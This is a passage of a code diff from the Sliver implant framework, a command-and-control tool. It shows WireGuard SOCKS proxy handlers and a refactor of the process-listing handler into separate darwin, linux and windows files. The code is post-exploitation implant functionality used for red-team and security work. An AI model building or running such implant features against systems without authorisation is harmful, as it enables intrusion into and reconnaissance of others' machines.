LocalAddr: s.LocalAddr(),
})
}
listResp.Servers = serverList
data, err := proto.Marshal(listResp)
resp(data, err)
}
func wgStartSocksHandler(data []byte, resp RPCResponse) {
startReq := &pb.WGSocksStartReq{}
err := proto.Unmarshal(data, startReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
server := forwarder.NewWGSocksServer(int(startReq.Port), wireguard.GetTUNAddress(), wireguard.GetTNet())
go server.Start()
startResp := &pb.WGSocks{
Response: &commonpb.Response{},
Server: &pb.WGSocksServer{
ID: int32(server.ID),
LocalAddr: server.LocalAddr(),
},
}
data, err = proto.Marshal(startResp)
resp(data, err)
}
func wgStopSocksHandler(data []byte, resp RPCResponse) {
stopReq := &pb.WGSocksStopReq{}
err := proto.Unmarshal(data, stopReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
server := forwarder.GetSocksServer(int(stopReq.ID))
stopResp := &pb.WGSocks{
Response: &commonpb.Response{},
}
if server == nil {
stopResp.Response.Err = fmt.Sprintf("no server found for id %d", stopReq.ID)
} else {
stopResp.Server = &pb.WGSocksServer{
ID: int32(server.ID),
LocalAddr: server.LocalAddr(),
}
server.Stop()
forwarder.RemoveSocksServer(server.ID)
}
data, err = proto.Marshal(stopResp)
resp(data, err)
}
// {{end}}
-43
View File
@@ -43,49 +43,6 @@ import (
// ------------------------------------------------------------------------------------------
// These are generic handlers (as in calling convention) that use platform specific code
// ------------------------------------------------------------------------------------------
func psHandler(data []byte, resp RPCResponse) {
psListReq := &sliverpb.PsReq{}
err := proto.Unmarshal(data, psListReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
// {{end}}
}
psList := &sliverpb.Ps{
Processes: []*commonpb.Process{},
}
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
}
// {{if eq .Config.GOOS "windows"}}
p.SessionID = int32(proc.(*ps.WindowsProcess).SessionID())
// {{end}}
// {{if eq .Config.GOOS "linux"}}
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
// {{end}}
// {{if eq .Config.GOOS "darwin"}}
p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
// {{end}}
psList.Processes = append(psList.Processes, p)
}
data, err = proto.Marshal(psList)
resp(data, err)
}
func terminateHandler(data []byte, resp RPCResponse) {
terminateReq := &sliverpb.TerminateReq{}
@@ -0,0 +1,64 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/ps"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func psHandler(data []byte, resp RPCResponse) {
psListReq := &sliverpb.PsReq{}
err := proto.Unmarshal(data, psListReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
// {{end}}
}
psList := &sliverpb.Ps{
Processes: []*commonpb.Process{},
}
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
}
p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
psList.Processes = append(psList.Processes, p)
}
data, err = proto.Marshal(psList)
resp(data, err)
}
@@ -0,0 +1,64 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/ps"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func psHandler(data []byte, resp RPCResponse) {
psListReq := &sliverpb.PsReq{}
err := proto.Unmarshal(data, psListReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
// {{end}}
}
psList := &sliverpb.Ps{
Processes: []*commonpb.Process{},
}
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
}
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
psList.Processes = append(psList.Processes, p)
}
data, err = proto.Marshal(psList)
resp(data, err)
}
@@ -0,0 +1,64 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/ps"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func psHandler(data []byte, resp RPCResponse) {
psListReq := &sliverpb.PsReq{}
err := proto.Unmarshal(data, psListReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
// {{end}}
}
psList := &sliverpb.Ps{
Processes: []*commonpb.Process{},
}
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
}
p.SessionID = int32(proc.(*ps.WindowsProcess).SessionID())
psList.Processes = append(psList.Processes, p)
}
data, err = proto.Marshal(psList)
resp(data, err)
}
Loaded 100 of 182 files, more files were not shown because too many files have changed in this diff. Show more